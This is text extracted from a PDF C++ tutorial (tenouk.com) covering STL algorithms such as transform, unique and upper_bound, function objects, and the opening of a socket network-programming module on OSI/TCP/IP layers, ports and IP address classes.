_Result An output iterator addressing the position of the first element in the

www.tenouk.com Page 15 of 23
destination range.
User-defined unary function object used in the first version of the algorithm
that is applied to each element in the first source range or A user-defined
_Func
binary function object used in the second version of the algorithm that is
applied pairwise, in a forward order, to the two source ranges.

Table 37.9

- The return value is an output iterator addressing the position one past the final element in the
destination range that is receiving the output elements transformed by the function object.
- The ranges referenced must be valid; all pointers must be de-referenceable and within each sequence
the last position must be reachable from the first by incrementation. The destination range must be
large enough to contain the transformed source range.
- If _Result is set equal to _First1 in the first version of the algorithm, then the source and
destination ranges will be the same and the sequence will be modified in place. But the _Result may
not address a position within the range [_First1 +1, _Last1).
- The complexity is linear with at most (_Last1 – _First1) comparisons.

//algorithm, transform()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

//The function object multiplies an element by a Factor


template <class Type>
class MultValue
{
private:
//The value to multiply by
Type Factor;
public:
//Constructor initializes the value to multiply by
MultValue(const Type& _Val) : Factor(_Val) {}

//The function call for the element to be multiplied


int operator()(Type& elem) const
{return (elem * Factor);}
};

int main()
{
vector <int> vec1, vec2(7), vec3(7);
vector <int>::iterator Iter1, Iter2, Iter3;

//Constructing vector vec1


for(int i = -4; i <= 2; i++)
vec1.push_back(i);

cout<<"Original vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Modifying the vector vec1 in place


transform(vec1.begin(), vec1.end(), vec1.begin(), MultValue<int>(2));
cout<<"\nThe elements of the vector vec1 multiplied by 2 in place gives:"
<<"\nvec1mod data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Using transform() to multiply each element by a factor of 5


transform(vec1.begin(), vec1.end(), vec2.begin(), MultValue<int>(5));

cout<<"\nMultiplying the elements of the vector vec1mod\n"


<<"by the factor 5 & copying to vec2 gives:\nvec2 data: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//The second version of transform used to multiply the


//elements of the vectors vec1mod & vec2 pairwise
transform(vec1.begin(), vec1.end(), vec2.begin(), vec3.begin(),

www.tenouk.com Page 16 of 23
multiplies<int>());

cout<<"\nMultiplying elements of the vectors vec1mod and vec2 pairwise "


<<"gives:\nvec3 data: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;
}

Output:

unique()

- Removes duplicate elements that are adjacent to each other in a specified range.

template<class ForwardIterator>
ForwardIterator unique(
ForwardIterator _First,
ForwardIterator _Last
);
template<class ForwardIterator, class Pr>
ForwardIterator unique(
ForwardIterator _First,
ForwardIterator _Last,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
scanned for duplicate removal.
A forward iterator addressing the position one past the final element in the range to
_Last
be scanned for duplicate removal.
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two arguments
and returns true when satisfied and false when not satisfied.

Table 37.10

- The return value is a forward iterator to the new end of the modified sequence that contains no
consecutive duplicates, addressing the position one past the last element not removed.
- Both forms of the algorithm remove the second duplicate of a consecutive pair of equal elements.
- The operation of the algorithm is stable so that the relative order of the undeleted elements is not
changed.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The number of elements in the sequence is not changed by the algorithm unique() and the elements
beyond the end of the modified sequence are de-referenceable but not specified.
- The complexity is linear, requiring (_Last – _First)–1 comparisons.
- List provides a more efficient member function unique(), which may perform better.
- These algorithms cannot be used on an associative container.

www.tenouk.com Page 17 of 23
//algorithm, unique()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is equal to modulus of elem2


bool mod_equal(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 == elem2);
};

int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter1, vec1_Iter2, vec1_Iter3,
vec1_NewEnd1, vec1_NewEnd2, vec1_NewEnd3;

int i;
for(i = 0; i <= 3; i++)
{
vec1.push_back(4);
vec1.push_back(-4);
}

int j;
for(j = 1; j <= 4; j++)
vec1.push_back(8);

vec1.push_back(9);
vec1.push_back(9);

cout<<"Vector vec1 data:\n";


for(vec1_Iter1 = vec1.begin(); vec1_Iter1 != vec1.end(); vec1_Iter1++)
cout<<*vec1_Iter1<<" ";
cout<<endl;

//Remove consecutive duplicates


vec1_NewEnd1 = unique(vec1.begin(), vec1.end());

cout<<"\nRemoving adjacent duplicates from vector vec1 gives:\n";


for(vec1_Iter1 = vec1.begin(); vec1_Iter1 != vec1_NewEnd1; vec1_Iter1++)
cout<<*vec1_Iter1<<" ";
cout<<endl;

//Remove consecutive duplicates under the binary predicate mod_equal()


vec1_NewEnd2 = unique(vec1.begin(), vec1_NewEnd1, mod_equal);

cout<<"\nRemoving adjacent duplicates from vector vec1 under\nthe"


<<"binary predicate mod_equal() gives:\n";
for(vec1_Iter2 = vec1.begin(); vec1_Iter2 != vec1_NewEnd2; vec1_Iter2++)
cout<<*vec1_Iter2<<" ";
cout<<endl;

//Remove elements if preceded by an element that was greater


vec1_NewEnd3 = unique(vec1.begin(), vec1_NewEnd2, greater<int>());

cout<<"\nRemoving adjacent elements satisfying the binary\n"


<<"predicate mod_equal() from vector vec1 gives:\n";
for(vec1_Iter3 = vec1.begin(); vec1_Iter3 != vec1_NewEnd3; vec1_Iter3++)
cout<<*vec1_Iter3<<" ";
cout<<endl;
}

Output:

www.tenouk.com Page 18 of 23
unique_copy()

- Copies elements from a source range into a destination range except for the duplicate elements that are
adjacent to each other.

template<class InputIterator, class OutputIterator>


OutputIterator unique_copy(
InputIterator _First,
InputIterator _Last,
OutputIterator _Result
);
template<class InputIterator, class OutputIterator, class BinaryPredicate>
OutputIterator unique_copy(
InputIterator _First,
InputIterator _Last,
OutputIterator _Result,
BinaryPredicate _Comp,
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the source range
_First
to be copied.
A forward iterator addressing the position one past the final element in the source
_Last
range to be copied.
An output iterator addressing the position of the first element in the destination
_Result
range that is receiving the copy with consecutive duplicates removed.
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.

Table 37.11

- The return value is an output iterator addressing the position one past the final element in the
destination range that is receiving the copy with consecutive duplicates removed.
- Both forms of the algorithm remove the second duplicate of a consecutive pair of equal elements.
- The operation of the algorithm is stable so that the relative order of the undeleted elements is not
changed.
- The ranges referenced must be valid; all pointers must be de-referenceable and within a sequence the
last position is reachable from the first by incrementation.
- The complexity is linear, requiring (_Last – _First) comparisons.
//algorithm, unique_copy()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is equal to modulus of elem2


bool mod_equal(int elem1, int elem2)
{

www.tenouk.com Page 19 of 23
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 == elem2);
};

int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter1, vec1_Iter2,
vec1_NewEnd1, vec1_NewEnd2;

int i;
for(i = 0; i <= 1; i++)
{
vec1.push_back(8);
vec1.push_back(-8);
}

int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);

vec1.push_back(9);
vec1.push_back(9);

int k;
for(k = 0; k <= 5; k++)
vec1.push_back(12);

cout<<"Vector vec1 data is:\n";


for(vec1_Iter1 = vec1.begin(); vec1_Iter1 != vec1.end(); vec1_Iter1++)
cout<<*vec1_Iter1<<" ";
cout<<endl;

//Copy first half to second, removing consecutive duplicates


vec1_NewEnd1 = unique_copy(vec1.begin(), vec1.begin() + 8, vec1.begin() + 8);

cout<<"\nCopying the first half of the vector to the second half\n"


<<"while removing adjacent duplicates gives:\n";
for(vec1_Iter1 = vec1.begin(); vec1_Iter1 != vec1_NewEnd1; vec1_Iter1++)
cout<<*vec1_Iter1<<" ";
cout<<endl;

for(int l = 0; l <= 7; l++)


vec1.push_back(10);

//Remove consecutive duplicates under the binary predicate mod_equals


vec1_NewEnd2 = unique_copy(vec1.begin(), vec1.begin() + 14, vec1.begin() + 14,
mod_equal);

cout<<"\nCopying the first half of the vector to the second half\n"


<<"removing adjacent duplicates under mod_equal() gives\n";
for(vec1_Iter2 = vec1.begin(); vec1_Iter2 != vec1_NewEnd2; vec1_Iter2++)
cout<<*vec1_Iter2<<" ";
cout<<endl;
}

Output:

upper_bound()

www.tenouk.com Page 20 of 23
- Finds the position of the first element in an ordered range that has a value that is greater than a
specified value, where the ordering criterion may be specified by a binary predicate.

template<class ForwardIterator, class Type>


ForwardIterator upper_bound(
ForwardIterator _First,
ForwardIterator _Last,
const Type& _Val
);
template<class ForwardIterator, class Type, class Pr>
ForwardIterator upper_bound(
ForwardIterator _First,
ForwardIterator _Last,
const Type& _Val,
BinaryPredicate _Comp
);

Parameters

Parameter Description
_First The position of the first element in the range to be searched.
_Last The position one past the final element in the range to be searched.
The value in the ordered range that needs to be exceeded by the value of the
_Val
element addressed by the iterator returned.
User-defined predicate function object that defines sense in which one element is
_Comp less than another. A binary predicate takes two arguments and returns true when
satisfied and false when not satisfied.

Table 37.12

- The return value is a forward iterator addressing the position of the first element in an ordered range
that has a value that is greater than a specified value, where the ordering criterion may be specified by a
binary predicate.
- The sorted source range referenced must be valid; all pointers must be de-referenceable and within the
sequence the last position must be reachable from the first by incrementation.
- The sorted range must each be arranged as a precondition to the application of the upper_bound()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The range is not modified by the algorithm merge().
- The value types of the forward iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent (in the sense that neither is less than the
other) or that one is less than the other. This results in an ordering between the nonequivalent elements
- The complexity of the algorithm is logarithmic for random-access iterators and linear otherwise, with
the number of steps proportional to (_Last1 – _First1).

//algorithm, upper_bound()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, Result1;

//Constructing vectors vec1a & vec1b with default less-than ordering


for(int i = -2; i <= 4; i++)
vec1.push_back(i);

www.tenouk.com Page 21 of 23
for(int j = -3; j <= 0; j++)
vec1.push_back(j);

sort(vec1.begin(), vec1.end());
cout<<"Original vector vec1 data with range\nsorted by the"
<<" binary predicate less than is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Constructing vectors vec2 with range sorted by greater


vector <int> vec2(vec1);
vector <int>::iterator Iter2, Result2;
sort(vec2.begin(), vec2.end(), greater<int>());

cout<<"\nOriginal vector vec2 data with range\nsorted by the"


<<" binary predicate greater is:\n";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Constructing vectors vec3 with range sorted by mod_lesser


vector <int>vec3(vec1);
vector <int>::iterator Iter3, Result3;
sort(vec3.begin(), vec3.end(), mod_lesser);

cout<<"\nOriginal vector vec3 data with range\nsorted by the"


<<" binary predicate mod_lesser is:\n";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

//upper_bound of -3 in vec1 with default binary predicate less <int>()


Result1 = upper_bound(vec1.begin(), vec1.end(), -3);
cout<<"\nThe upper_bound in vec1 for the element with a value of -3 is: "
<<*Result1<<endl;

//upper_bound of 2 in vec2 with the binary predicate greater <int>()


Result2 = upper_bound(vec2.begin(), vec2.end(), 2, greater<int>());
cout<<"\nThe upper_bound in vec2 for the element with a value of 2 is: "
<<*Result2<<endl;

//upper_bound of 3 in vec3 with the binary predicate mod_lesser


Result3 = upper_bound(vec3.begin(), vec3.end(), 3, mod_lesser);
cout<<"\nThe upper_bound in vec3 for the element with a value of 3 is: "
<<*Result3<<endl;
}

Output:

- Program example compiled using g++.

//******algosort.cpp*********
//algorithm, sort()

www.tenouk.com Page 22 of 23
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether first element is greater than the second


bool userdefgreater(int elem1, int elem2)
{return elem1 > elem2;}

int main()
{
vector <int> vec1; //container
vector <int>::iterator Iter1; //iterator

int k;
for(k = 0; k <= 15; k++)
vec1.push_back(k);

random_shuffle(vec1.begin(), vec1.end());

cout<<"Original random shuffle vector vec1 data:\n";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

sort(vec1.begin(), vec1.end());
cout<<"\nSorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//To sort in descending order, specify binary predicate


sort(vec1.begin(), vec1.end(), greater<int>());
cout<<"\nRe sorted (greater) vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//A user-defined binary predicate can also be used


sort(vec1.begin(), vec1.end(), userdefgreater);
cout<<"\nUser defined re sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}

[bodo@bakawali ~]$ g++ algosort.cpp -o algosort


[bodo@bakawali ~]$ ./algosort

Original random shuffle vector vec1 data:


4 10 11 15 14 5 13 1 6 9 3 7 8 2 0 12

Sorted vector vec1 data:


0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Re sorted (greater) vector vec1 data:


15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0

User defined re sorted vector vec1 data:


15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0

-----------------------------------End of Algorithm Part V---------------------------


---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 23 of 23
MODULE 38
--THE STL--
FUNCTION OBJECT & MISC

My Training Period: hours

Note: Compiled using Microsoft Visual C++ .Net, win32 empty console mode application.

Abilities

▪ Able to understand and use the function objects.

38.1 Function Objects

- Functional arguments for algorithms don't have to be functions. They can be objects that behave as
functions. Such an object is called a function object, or functor.
- Sometimes you can use a function object when an ordinary function won't work. The STL often uses
function objects and provides several function objects that are very helpful.
- Function objects are another example of the generic programming capabilities and the concept of pure
abstraction. You could say that anything that behaves like a function is a function. So, if you define an
object that behaves as a function, it can be used as a function.
- A functional behavior is something that you can call by using parentheses and passing arguments. For
example:

function(arg1, arg2); //a function call

- So, if you want objects to behave this way you have to make it possible to call them by using
parentheses and passing arguments.
- All you have to do is define operator() with the appropriate parameter , for example:

class XYZ
{
public:
//define "function call" operator
return-value operator() (arguments) const;
...
};

- Now you can use objects of this class to behave as a function that you can call:

XYZ foo;
...
//call operator() for function object foo
foo(arg1, arg2);

- The call is equivalent to:

//call operator() for function object foo


foo.operator() (arg1, arg2);

- The following is a complete example.

//function object example


#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;

//simple function object that prints the passed argument


class PrintSomething
{
public:
void operator() (int elem) const
{
cout<<elem<<' ';
}
};

int main()
{

www.tenouk.com Page 1 of 6
vector<int> vec;
//insert elements from 1 to 10
for(int i=1; i<=10; ++i)
vec.push_back(i);

//print all elements


for_each (vec.begin(), vec.end(), //range
PrintSomething()); //operation
cout<<endl;
}

Output:

- The class PrintSomething() defines objects for which you can call operator() with an int
argument.
- The expression:

PrintSomething()

- In the statement

for_each(vec.begin(), vec.end(),
PrintSomething());

- Creates a temporary object of this class, which is passed to the for_each() algorithm as an
argument. The for_each() algorithm is written like this:

namespace std
{
template <class Iterator, class Operation>
Operation for_each(Iterator act, Iterator end, Operation op)
{
while(act != end)
{ //as long as not reached the end
op(*act); //call op() for actual element
act++; //move iterator to the next element
}
return op;
}
}

- for_each() uses the temporary function object op to call op(*act) for each element act. If the
third parameter is an ordinary function, it simply calls it with *act as an argument.
- If the third parameter is a function object, it calls operator () for the function object op with *act as an
argument. Thus, in this example program for_each() calls:

PrintSomething::operator()(*act)

- Function objects are more than functions, and they have some advantages:

38.2 Function objects are smart functions

- Objects that behave like pointers are smart pointers. This is similarly true for objects that behave like
functions: They can be smart functions because they may have abilities beyond operator().
Function objects may have other member functions and attributes.
- This means that function objects have a state. In fact, the same function, represented by a function
object, may have different states at the same time. This is not possible for ordinary functions.
- Another advantage of function objects is that you can initialize them at runtime before you call them.

38.3 Each function object has its own type.

www.tenouk.com Page 2 of 6
- Ordinary functions have different types only when their signatures differ. However, function objects
can have different types even when their signatures are the same.
- In fact, each functional behavior defined by a function object has its own type. This is a significant
improvement for generic programming using templates because you can pass functional behavior as a
template parameter.
- It enables containers of different types to use the same kind of function object as a sorting criterion.
This ensures that you don't assign, combine, or compare collections that have different sorting criteria.
- You can even design hierarchies of function objects so that you can, for example, have different,
special kinds of one general criterion.

38.4 Function objects are usually faster than ordinary functions.

- The concept of templates usually allows better optimization because more details are defined at compile
time. Thus, passing function objects instead of ordinary functions often results in better performance.
- For example, suppose you want to add a certain value to all elements of a collection. If you know the
value you want to add at compile time, you could use an ordinary function:

void add10 (int& elem)


{
elem += 10;
}

void funct()
{
vector<int> vec;
...
for_each(vec.begin(), vec.end(), //range
add10); //operation
}

- If you need different values that are known at compile time, you could use a template instead:

template <int theValue>


void add(int& elem)
{
elem += theValue;
}
void funct()
{
vector<int> vec;
...
for_each (vec.begin(), vec.end(), //range
add<10>); //operation
}

- If you process the value to add at runtime, things get complicated. You must pass the value to the
function before the function is called.
- This normally results in some global variable that is used both by the function that calls the algorithm
and by the function that is called by the algorithm to add that value. Look like a messy style.
- If you need such a function twice, with two different values to add, and both values are processed at
runtime, you can't achieve this with one ordinary function. You must either pass a tag or you must write
two different functions.
- With function objects, you can write a smarter function that behaves in the desired way because the
object may have a state; it can be initialized by the correct value.
- Here is a full example:

//function object example


#include <iostream>
#include <list>
#include <algorithm>
using namespace std;

//function object that adds the value with which it is initialized


class AddValue
{
private:
//the value to add
int theValue;
public:
//constructor initializes the value to add
AddValue(int val) : theValue(val) {}

www.tenouk.com Page 3 of 6
//the function call for the element adds the value
void operator() (int& elem) const
{
elem += theValue;
}
};

int main()
{
list<int> lst1;

//The first call of for_each() adds 10 to each value:


for_each(lst1.begin(), lst1.end(), //range
AddValue(10)); //operation
}

- Here, the expression AddValue(10) creates an object of type AddValue that is initialized with the
value 10. The constructor of AddValue stores this value as the member theValue.
- Inside for_each(),"()" is called for each element of lst1. Again, this is a call of operator() for
the passed temporary function object of type AddValue. The actual element is passed as an argument.
The function object adds its value 10 to each element. The elements then have the following values:
after adding 10: 11 12 13 14 15 16 17 18 19
- The second call of for_each() uses the same functionality to add the value of the first element to
each element. It initializes a temporary function object of type AddValue with the first element of the
collection:

AddValue (*lst1.begin())

- The output is then as follows:

after adding first element: 22 23 24 25 26 27 28 29 30

- By using this technique, two different function objects can solve the problem of having a function with
two states at the same time.
- For example, you could simply declare two function objects and use them independently:

AddValue addx (x); //function object that adds value x


AddValue addy (y); //function object that adds value y
for_each (vec.begin(), vec.end(), //add value x to each element
addx);
...
for_each (vec.begin(), vec.end(), //add value y to each element
addy);
...
for_each (vec.begin(), vec.end(), //add value x to each element
addx);

38.5 Predefined Function Objects

- The C++ standard library contains several predefined function objects that cover fundamental
operations. By using them, you don't have to write your own function objects in several cases.
- A typical example is a function object used as a sorting criterion.
- The default sorting criterion for operator< is the predefined sorting criterion less<>. Thus, if you
declare:

set<int> st;

- It is expanded to:

set<int, less<int> > st; //sort elements with <

- From there, it is easy to sort elements in the opposite order:

set<int, greater<int> > st; //sort elements with >

- Similarly, many function objects are provided to specify numeric processing. For example, the
following statement negates all elements of a collection:

www.tenouk.com Page 4 of 6
transform(vec.begin(), vec.end(), //source
vec.begin(), //destination
negate<int>()); //operation

- The expression:

negate<int>()

- Creates a function object of the predefined template class negate that simply returns the negated
element of type int for which it is called.
- The transform() algorithm uses that operation to transform all elements of the first collection into
the second collection. If source and destination are equal (as in this case), the returned negated elements
overwrite themselves. Thus, the statement negates each element in the collection.
- Similarly, you can process the square of all elements in a collection:

//process the square of all elements


transform(vec.begin(), vec.end(), //first source
vec.begin(), //second source
vec.begin(), //destination
multiplies<int>()); //operation

- Here, another form of the transform() algorithm combines elements of two collections by using the
specified operation, and writes the resulting elements into the third collection.
- Again, all collections are the same, so each element gets multiplied by itself, and the result overwrites
the old value.

-------------------------------------------The rEaL End for STL--------------------------------------


---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

38.6 Miscellaneous

The following items may not be covered in details in this part of tutorial but you may have encountered them
somewhere in the various program examples.

Class pair

Is provided to treat two values as a single unit. It is used in several places within the C++ standard library. In
particular, the container classes’ map and multimap use pairs to manage their elements, which are key/value pairs.

make_pair() template function

Enables you to create a value pair without writing the types explicitly.

The auto_ptr type.

The auto_ptr type is provided by the C++ standard library as a kind of a smart pointer that helps to avoid
resource leaks when exceptions are thrown.

Numeric types

In general have platform-dependent limits. The C++ standard library provides these limits in the template
numeric_limits. These numeric limits replace and supplement the ordinary preprocessor constants of C.
These constants are still available for integer types in <climits> and <limits.h>, and for floating-point types
in <cfloat> and <float.h>.
The new concept of numeric limits has two advantages: First, it offers more type safety. Second, it enables a
programmer to write templates that evaluate these limits.
Note, that it is always better to write platform-independent code by using the minimum guaranteed precision of the
types.

www.tenouk.com Page 5 of 6
Others

The algorithm library, header file <algorithm>, includes three auxiliary functions, one each for the selection of
the minimum and maximum of two values and one for the swapping of two values. These auxiliary functions
have been used in various program examples in part of tutorial.
Four template functions define the comparison operators!=, >, <=, and >= by calling the operators == and <.
These functions are defined in <utility>.
Don’t forget also other standard C++ header files such as <ios>, <locale>, <valarray>, <new>,
<memory>, <complex> etc.

-----------------------------------Anymore? No more-----------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 6 of 6
MODULE 39
NETWORK PROGRAMMING
SOCKET PART I

My Training Period: hours

Note: Program examples if any, compiled using gcc on Fedora 3 machine with several update, as normal user.
The Fedora machine used for the testing having the "No Stack Execute" disabled and the SELinux set to default
configuration.

Abilities

▪ Able to understand the basic of client-server model.


▪ Able to understand the TCP/IP suite/stack/layer.
▪ Able to understand important protocols such as TCP and UDP.
▪ Able to understand and use the Unix/Linux C language socket APIs.
▪ Able to understand and implement several simple Client and server basic designs.

This Tutorial introduces a network programming using sockets. Some of the information is implementation specific
but all the program examples run on Fedora 3 and compiled using gcc. The following are topics that will be
covered.

▪ Some Background Story.


▪ The Client-Server Model.
▪ Concurrent Processing.
▪ Programming Interface.
▪ The Socket Interface.
▪ Client Design.
▪ Example Clients.
▪ Server Design.
▪ Iterative, Connectionless Servers (UDP).
▪ Iterative, Connection-Oriented Servers (TCP).
▪ Concurrent, Connection-Oriented Servers (TCP).
▪ Single-Process, Concurrent Servers (TCP).
▪ Multi protocol Servers.
▪ Multi service Servers.
▪ Managing Server Concurrency.
▪ Client Concurrency.

Some Background Story

- This background story tries to introduce the terms used in network programming and also to give you
the big picture.
- The following figure is a typical physical network devices connection.

Figure 1

www.tenouk.com Page 1 of 31
- Using a simple network shown in the above Figure, let trace the data stream flow from Network A to
Network B, by assuming that Network A is company A’s network and Network B is company B’s
network.
- Physically, the flow of the data stream is from a computer in Network A (source) will go through the
hub, switch and router.
- Then the stream travel through the carrier such as Public Switch Telephone Network (PSTN) and
leased line (copper, fiber or wireless – satellite) and finally reach Network B’s router, go through the
switch, hub and finally reach at the computer in company B (destination).
- And from the previous network devices layout, the OSI (Open System Interconnection) 7 layer stack
mapping is shown below.

Figure 2

- From the Application layer of a computer at company A go downward the layer until the Physical
(medium such as Cat 5 cable) layer, then exit Network A through the Network (router) layer in the
middle of the diagram.
- After traveling through the carrier, reaches at the Network (router) layer of company B, travels through
the Physical layer, goes upward until reaching at the Application layer of the computer at company B.
Actually, at company B (the destination), the data flows through the network devices in the reverse
manner compared to what happened at company A (the source).
- In contrast to TCP/IP, the OSI approach started from a clean slate and defined standards, adhering
tightly to their own model, using a formal committee process without requiring implementations.
- Internet protocols use a less formal but more practical engineering approach, where anybody can
propose and comment on Request For Comment (RFC) documents, and implementations are required
to verify feasibility.
- The OSI protocols developed slowly, and because running the full protocol stack is resource intensive,
they have not been widely deployed, especially in the desktop and small computer market.
- In the meantime, TCP/IP and the internet were developing rapidly, with deployment occurring at a very
high rate, which is why the TCP/IP suite becomes a de facto standard.
- The OSI layer and their brief functionalities are listed in the following Table.

OSI Layer Function provided


Application Network application such as file transfer and terminal emulation
Presentation Data formatting and encryption.
Session Establishment and maintenance of sessions.
Transport Provision for end-to-end reliable and unreliable delivery.
Network Delivery of packets of information, which includes routing.
Data Link Transfer of units of information, framing and error checking.
Physical Transmission of binary data of a medium.

www.tenouk.com Page 2 of 31
Table 1

- In the practical implementation, the standard used is based on TCP/IP stack. This TCP/IP stack is a de
facto standard, not a pure standard but it is widely used and adopted.
- The equivalent or mapping of the OSI and TCP/IP stack is shown below. It is divided into 4 layers.
The Session, Presentation and Application layers of OSI have been combined into one layer,
Application layer.
- Physical and data link layers also become one layer. Different books or documentations might use
different terms, but the 4 layers of TCP/IP are usually referred.

Figure 3

- In this Tutorial we will concentrate more on the Transport and Network layer of the TCP/IP stack.
- More detail TCP/IP stack with typical applications is shown below.

Figure 4

- The following figure is a TCP/IP architectural model. Frame, packet and message are same entity but
called differently at the different layer because there are data encapsulations at every layer.

www.tenouk.com Page 3 of 31
Figure 5

- The common applications that you encounter in your everyday use are:

▪ FTP (file transfer protocol).


▪ SMTP (simple mail transfer protocol).
▪ telnet (remote logins).
▪ rlogin (simple remote login between UNIX machines).
▪ World Wide Web (built on http) and https (secure http).
▪ NFS (network filing system – originally for SUNs).
▪ TFTP (trivial file transfer protocol – used for booting).
▪ SNMP (simple network management protocol).

- The user interfaces developed (programs) for the communication should depend on the platform.

Protocol

- In computing field, a protocol is a convention or standard rules that enables and controls the
connection, communication and data transfer between two computing endpoints.
- Protocols may be implemented by hardware, software, or a combination of the two. At the lowest
level, a protocol defines the behavior of a hardware connection.
- In term of controls, protocol may provide data transfer reliability, resiliency and integrity.
- An actual communication is defined by various communication protocols. In the context of data
communication, a network protocol is a formal set of rules, conventions and data structure that governs
how computers and other network devices exchange information over a network.
- In other words, protocol is a standard procedure and format that two data communication devices must
understand, accept and use to be able to talk to each other.
- A wide variety of network protocols exist, which are defined by many standard organizations
worldwide and technology vendors over years of technology evolution and developments.
- One of the most popular network protocol suites is TCP/IP, which is the heart of internetworking
communications.

TCP and UDP

- TCP and UDP protocols were built on top of the IP protocol.


- Basic for the TCP:

▪ Transmission Control Protocol is defined by RFC-793.


▪ TCP provides connection-oriented transport service and reliable.
▪ End-to-end transparent byte-stream.
▪ E.g.: FTP, telnet, http, SMTP.

- While the UDP:

www.tenouk.com Page 4 of 31
▪ User Datagram Protocol is defined by RFC-768.
▪ UDP provides datagram service that is a packet based.
▪ Connectionless.
▪ Unreliable.
▪ E.g.: NFS, TFTP.

Port numbers

- It is 16 bit integers. So we have 216 = 65536 ports maximum.


- It is unique within a machine/IP address..
- To make a connection we need an IP address and port number of the protocol.
- The connection defined by:

IP address & port of server + IP address & port of client

- Normally, server port numbers are low numbers in the range 1 – 1023 and normally assign for root
(Administrator) only.
- It is used for authentication e.g. rlogin.
- And normally, client port numbers are higher numbers starting at 1024.
- A server running on a well-known port lets the OS know what port it wants to listen on.
- Whereas a client normally simply lets the operating system picks a new port that isn’t already in use.

Numeric IP Addresses

- Ipv4 Internet addresses are 32 bit integers.


- For convenience they are displayed in "dotted decimal" format.
- Each byte is presented as a decimal number.
- Dots separate the bytes for example:

131.95.115.204

IP Address Classes

- To simplify packet routing, internet addresses are divided into classes.


- An IP address has two parts: The network portion and the host portion.
- The network portion is unique to each company/organization/domain/group/network, and the host
portion is unique to each system (host) in the network.
- Where the network portion ends and the host portion begin is different for each class of IP address.
- You can determine this by looking at the two high-order bits in the IP address.

192.168.1.100
xxxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
Byte 1.Byte 2.Byte 3.Byte 4
Class and Network size Range (decimal) Network ID Host ID
Class A (Large) 1 -127 Byte 1 Bytes 2, 3, 4
Class B (Medium) 128 – 191 Bytes 1, 2 Bytes 3, 4
Class C (Small) 192 – 223 Bytes 1, 2, 3 Bytes 4

Table 2

- The first four bits (bits 0-3) of an address determine its class:

0xxx = class A
bits 1-7 define a network.
bits 8-31 define a host on that network.
128 networks with 16 million hosts.
10xx = class B
bits 2-15 define a network.
bits 16-31 define a host on that network.
16384 networks with 65536 hosts.
110x = class C
bits 3-23 define a network.
bits 24-31 define a host on that network.

www.tenouk.com Page 5 of 31
2 million networks with 256 hosts.

Table 3

- The IP network portion can represent a very large network that may spans multiple geographic sites.
- To make this situation easier to manage, you can use subnetworks. Subnetworks use the two parts of
the address to define a set of IP addresses that are treated as group. The subnetting divides the address
into smaller networks.
- You configure a subnetwork by defining a mask, which is a series of bits. Then, the system performs a
logical AND operation on these bits and the IP address.
- The 1 bit defines the subnetwork portion of the IP address (which must include at least the network
portion). The 0 bits define the host portion.
- Class D is a multicast address and class E is reserved.
- As a summary:

Figure 6

- Nowadays we use classless IP address. That means we subnet the class type IP into smaller subnet or
smaller group of IP addresses creating smaller networks.
